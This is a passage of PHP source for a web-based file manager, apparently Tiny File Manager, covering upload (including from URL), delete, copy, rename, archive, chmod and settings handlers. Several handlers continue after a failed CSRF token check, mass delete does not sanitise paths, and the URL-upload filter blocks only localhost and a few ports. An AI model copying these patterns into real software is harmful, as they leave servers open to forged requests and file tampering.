"{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <?php print_external('css-dropzone'); ?> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <?php print_external('js-dropzone'); ?> <script> Dropzone.options.fileUploader = { chunking: true, chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>, forceChunking: true, retryChunks: true, retryChunksLimit: 3, parallelUploads: 1, parallelChunkUploads: false, timeout: 120000, maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>", acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { try { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } } catch (e) { toast("Error: Invalid JSON response"); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy']) && !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng('Nothing selected'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i><?php echo lng('Select folder') ?></i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-select" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <div class="mt-3 mb-3 row "> <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo 